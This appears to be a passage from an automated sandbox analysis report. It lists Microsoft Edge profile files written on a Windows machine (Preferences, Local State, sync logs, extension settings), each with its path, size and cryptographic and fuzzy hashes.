SHA256 53cc151375ec69fc02c14a83395bca38cf1697d6c74d7aa1ae4365651ed64578
MD5 e5d04448286218bef65bb2f5b0d87b43
SHA1 9f253ec23446dc9b0236626414166e0faebbc45b
SHA512 9e615cc3a5fcd8f1c24df776ec59da129c373ca4e912970e198c0e574aaddf31533c373908f02830f721d0131d22fb31110d5d968171722fda572dc8fde64b0d
TLSH
T1EC519EF3C3F4866EC91156F4AA146E2BCF6D0514432C3C5AC9E4AE5B93E3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 f22a763d6ec6d890158a84e5a3b11a3d4949adea9ae123cd2fbcd74999d84929
MD5 5307e2981b1ec1e0a94355fd653799cb
SHA1 6913f8e13d267d57de6568927e240415c4c3c9b3
SHA512 d059a3f3bd20a5f99d90b3dc16c6fca795d76fcd018dad003d6e7ee7cbb4d6c6656b6d4fb76055993c35f5cb36bca8d56a21e8c52030b0ab723e9993de8e4feb
SSDEEP 192:sxRRRxim/fVs+dOjprQ5ozoA8pi/g6+WNIYnYUs0/bGgIgD/J:sxRRem/fVs+Ujsi/5I5Sbt
TLSH
T11532A7156E68A93B8CCBE21EBB557F53D3F9103261D01E58A6FC8A1C04E76DD220790F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 742514bf4a619546f049c760a11338f5ceaed9eeec928522d91901f60a06abc3
MD5 eff7a7b5038307069027b96ad549592b
SHA1 6650817776bbb8cc7956cc922199bc94bbb874c1
SHA512 51ad3bfabab2e3e3e276cfd633323877f7ae9a5d0186cf0128bf6453aff3583c7ee4656b3dd01accff1ee4745cc8b3ae6215951121717b70eb395a9025dcd1f2
SSDEEP 192:sxRRRMSm/fVs+yWpVlOSprQ5HzoA8pXM/g6+WN+nHKSzYHk9h/IggIgDhJ:sxRRrm/fVs+yWvcStc/5kzHPe3
TLSH
T17852A719A928A97B9CCBE21EFA557F53D7F9102261D15E44BBFC8A1C00E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 cca6986636a7d0f3254a0ca8df6c7e53fc38d6dfcfa7f68a1bc3d45aa1f7941e
MD5 867adbe546ee10059f74ea806c842d27
SHA1 8c9b58b114327e54945acc8abc1b5a460c8c1a44
SHA512 2359c584c701a6fcec6d36011a0ba5cb2623728a74e891f4964eadca445bfbf19b4617324e881e7f7bb8452907edaa88bd25fee7d44df177a6d5f6bae21195a4
SSDEEP 192:sxRRRxNm/fVs+dOSprQ5czoA8p9V/g6+WNPAP/YnW9l/bGgIgDhJ:sxRRxm/fVs+USwT/5w/7Pb3
TLSH
T15A42A859AE68A93B9CCBE219BB557F53E3F9503261D01E48E6FC8A1C04E76DD120780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 6395b0572850df6624d9056182366078ac06ba422728a1093981a4d376c062cd
MD5 8cf9ba1b45995314adfd2865a3de798d
SHA1 8c9282ae15782ab18cbd65698052bcf1d69f7221
SHA512 76c12ad46b07ab5246bf3782d35b7b7e223015acb1f262b617d0755b2202f81492dcf59a4806649d0fb1004eda55ef07dfc1dcf615814da0a8932e5adada6304
SSDEEP 192:sxRyRxOm/fVs+dOjprQ5ozoA8pi/g6+WNIYnYUs0/bGgIgIJ:sxRy6m/fVs+Ujsi/5I5Sbs
TLSH
T1E932A7166E68A93B8CCBE21DBB657F53D3F91032A1D01E58A6FC8A1C04E76DD120780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 b93080141c3834568fcbdf897798c648daf9928d6bcf67805419405ae5702170
MD5 f98f2c000b179122ecad2b485137be09
SHA1 985bf8d7986ed37cda53b861f3d8fd8e723ceb81
SHA512 220d5128601281c5db5500e0a8d7c034113aa9c485722d42ae9135ee057ef4c05886e2f8ad9a0f6683dbd89c8973f0814ec2fdd79a58c37846fdc3a798f220cb
SSDEEP 192:sxRRRq+m/fVs+dOSprQ5czoA8p98/g6+WN/PquZYnA9R/bGgIgDhJ:sxRR1m/fVs+USw2/5DZ9zb3
TLSH
T18642A715AA646D7B8CCBE21ABB557F53E3F9103261D05E48BAFC8A1C04E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 23KB
SHA256 2d9b843d4a5e4fe4be65fca22c76836dbac97bf9a0634787ada8781aea276e72
MD5 53638324f70edbcf5b80fad71fae48ff
SHA1 03ee7d9007856e39e8125e98eac0d760eac7e6a3
SHA512 043093de6721c585dc280bc23fe7ecdccb398dc4c5624b8ef589a4557a50182e26bab2e647910be6663bfc7456ef00ca33b1fc50c02c2194a17656f160eef9a7
SSDEEP 384:wum8dzAfCtgoSFf6MKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVU494oRPdrohMT:wb8dz6Wgouf6M8F1+UoAYDCx9Tuqh0VG
TLSH
T175B2EB3B604DCB7E5F800AADEC19AFDB7D9802C79A988D4447FE950C02C77EA511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 2e28c584c7649eddfb9af28146676dabedcce696a91ec90a5ec771fec1b96c63
MD5 d2c50720f671c69c3043522f499d0be8
SHA1 aa4f2aa0879bcffd05036e62730889151da2338a
SHA512 5305556845ac377f6a348ee62d9e70aa1f364f8b6b5608c377dbd0a67141770a1504c8538d9c3b7a898aa7174b0f0c97ea74e1f47e09e281746fac0cdb1230d4
SSDEEP 96:KR4Jco6GKQWOTDgQQK4FgyQcAQjS49HdqjXNn7vWj4mgfvK4+gBvcldQzyNOKuoH:C4Jco6GK3OT8QkFgyvAQjS49HdqjXNnI
TLSH
T1C6917111757B02417C7FA84C82AA996F42C234F73028B53B7BE841A59F67E425DFE8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a71c6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a71c6.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b0e1a7171bbc6ef3f364e58f8a37852e1bc77f6e3cdc08efbae808b0e95efb96
MD5 ff1a878b34008aa51724f5e7864be0bc
SHA1 6ffd45592e5ef8ccea96c841975a25c0fde6b28d
SHA512 8db44bd85278716ce72ddebe18cabe58d3f872ce0c3dd91c41cdb7ea490ff36001373d5c527ede74baa4828fb6f43920313a02153be80e295b69ea5f4d2a3cbe
SSDEEP 768:sW3FlJQuDZIO0VvYONzc4ReyIsPKUn26a:sW3FlJotc44bsCU23
TLSH
T15DF2CF32ED749D67ACFA6743B14635127EF4812B81C92E84D9ED6F0C06472EE031BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 42ba802e5d515bb809bb0f652c03d34ddf96bad6db8b1abb2954a8f42ded50db
MD5 a678099b4e07d4ec9da1aedc7d54011f
SHA1 cee2cb57b05dcaea5d8fb0a6b38238a8369fc1b2
SHA512 9a6ced90ee3c4f405986453aee1f442373927873aa74a2b285de6ad43b8e0d8a117cc400c32238a2f1bb6288021cd2f6b69628036b6d07da9f2218cb8c2763f0
SSDEEP 768:AU3XlJRYDZIO0VvY7Nzc4ReyIsPKUn26a:AU3XlJ6tc44bsCU23
TLSH
T1E7F2CF32ED749D67BCFA6683B10635527EF4912B81C92E84D9ED6F0C05472EE431BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 43dc1a4a610a4178d4abe3101ac59ec8b9bddcf14dac0e077bb8f17f72585427
MD5 43291b79917907a25214b69a52ea92a8
SHA1 ed0269ffc9367fadf322495c11931135546b7878
SHA512 729fede162692cebf70f7358ab9735381bdf7fa2739961e7107b764993b5d4e4b75edd854806bfa83ed623f6d5b7001622608e57f8bf3b5dd160a448606f1ad5
SSDEEP 768:By3+lJ6YDZIO0VvYtNzc4ReyIsPKUn26a:By3+lJrtc44bsCU23
TLSH
T123F2BF32ED749D67ACFA6683B14635127EF4912B81C92E84DAED6F0C05472EE431BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 697eaa5da7c6b8dc0c3d73273e44fc170890a7a14f8824de5aa6181e957e3941
MD5 687726612e7abe30fdbf601feed76ac0
SHA1 5e2a8449d302425e62b3493dc351ff3f6be077af
SHA512 f37062a2527c42b2ef94371459a8d5ca321b1bc573df7ba773f405db3ccc0328f6000658716ab312d98b9d6ec48c8b00478b06a4b3b14906247703d644bc1e12
SSDEEP 768:Dv3llJwuDZIO0VvYONzc4ReyIsPKUn26a:Dv3llJItc44bsCU23
TLSH
T1DBF2BF32ED749D67ACFA6647B14635127EF4812B81C92E84D9ED6F0C06472EE431BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 7ae68e45ddd548e6c7023fa2f5389d447e87f87a779131adb9d4b63d155e66d4
MD5 7407dbd92c038e3aef0567a19c3a44f1
SHA1 9e0c04143466c408e985352d276ed597e82e0984
SHA512 3e90d7e3eff31331c5f9869f573af545f1d04fba5d09ba14c662f38de1111bae5c2e5608bb619610020cd47e97c7100c5e508b6c2be090b89b2dff63c15c5984
SSDEEP 768:6rv+4UNbds3FLDZIO0VJNzc4ReyIsXHeVH1S5D:6bsbS3Gtc44bsXEH1Y
TLSH
T1D103BE32E8788977ACF66786B14B75133EF8912782C81B90C9DE1F0C4A4B1DD135B927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 92ff881d22aa2deb9f7a6f8cca25987959510bdc7ef6e20f82220c4dffa196d4
MD5 d20ef27174060492f276de50b63d79d5
SHA1 a0dd5867ccf4b0ea878448ca86b1687ee15f97a7
SHA512 a61d6a5d3bad1db8d51563538848d5aa72577c698cc8ea80f56caf85dd85eb02ff7e72bd7d677b75a3ed0777f6a227be6638835b85f981d04f5954b8fa41dc60
SSDEEP 768:Bl3NlJtmDZIO0VvYfNzc4ReyIsPKUn26a:Bl3NlJMtc44bsCU23
TLSH
T152F2CF32ED749D67ACFA6683B14635127EF4912B81C92E84DAED6F0C05472EE431BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 42KB
SHA256 34aba2c62e63ec31c255ce816d849c040f41959747f07b1c8b187441b9a74e40
MD5 32378b1c2af9fba2735b6d6cac2cb7c0
SHA1 ba3276518255c627ac1a19ad0861a7f1067a15e2
SHA512 06bcc7783a52b506fd917ec0e41c2c746c35e4544fa3f87ee1206626d6dd7ddcc004d9a30c8af528891930aac45eafb30e381bac1d7dc373a787ba79535bee1c
SSDEEP 768:8FK73+wgBlJkmDZIO0VvYrNzc4ReyIsPQpK7xjhdUn26a:P73GlJptc44bsopK7xNdU23
TLSH
T1CD137B3E9DA4893FACAE7B46B60D2521ADF4413BC0F56994E7D95B0CC03319DF35A821
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 3fdd96e01882b118b4a6e553a045200ab7a6ffb114737fcc1486fff5473ac7f3
MD5 5ad9922f364f2f47c9dcbc0f280b777a
SHA1 09da18f65ba6786a8a736fd868ec81fd2e3638cc
SHA512 baffdebb149ca25ee5a522558be0ab3255061d2ec5df014e9ea25ab28cac3f6b3e3f876f0d2c6ab5247fb49979ee2b9024321c623c90f4ba26dbef55541f9a06
SSDEEP 768:hm3elJ4SDZIO0VvYtNzc4ReyIsPKUn26a:hm3elJztc44bsCU23
TLSH
T176F2BF32ED749D67ACFA6783B14635127EF4912B81C92E84DAED6F0C05472EE431BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 089a8802915366a29217f73729a96ad3263586e145d37743e79cf59ba8904afc
MD5 0114f2caf4c8a4033f39ac867f077c08
SHA1 acb13b98bec58cf311650e07be92d3549eed50b7
SHA512 a02a735b508ef3a50b5aaa997fcd50670657eab92ca855d110f950f07f8431499def6e07d00efa54d121ba030acfc1e487325a498b57391e6c5f0e48dab18ffa
SSDEEP 768:8FHP3+wgwlJimDZIO0VvYrNzc4ReyIsPKUn26a:kP37lJ7tc44bsCU23
TLSH
T1D703AE33DD64896BBCFA6B86F64A3112AEF58127C1C96E94EADD5E0C01471DD034BC22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 1dad6bf38dbaea8314e1fb3fca586619b5dd73c7d15ad75d9003f6562619aabf
MD5 1eae93d6bceed8c35cbc55009ac8a034
SHA1 37c66c55087e4f037ea4a8f47bba17e5eb10ba9b
SHA512 3da0488359a182d0706a4502001bfeb91c8e77481d238b5975ca1a89e79bfbe1a481214a976e636da3ced76f80d24ad6f2e83e56194bdeeea9e352e19542c9a5
SSDEEP 768:yrv+4UNbds3BYDZIO0VvYyNzc4ReyIs2KeVH1S5D:ybsbS3Ztc44bsZEH1Y
TLSH
T17603BE32A9689937ACE66786B14775133EF8921B82C81F90C9DE2F0C4A4B1DD135F927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

edge_task_manager_close.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_task_manager_close.txt
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

3da0d99d-2b97-4063-968a-6f1ff327db1a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3da0d99d-2b97-4063-968a-6f1ff327db1a.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download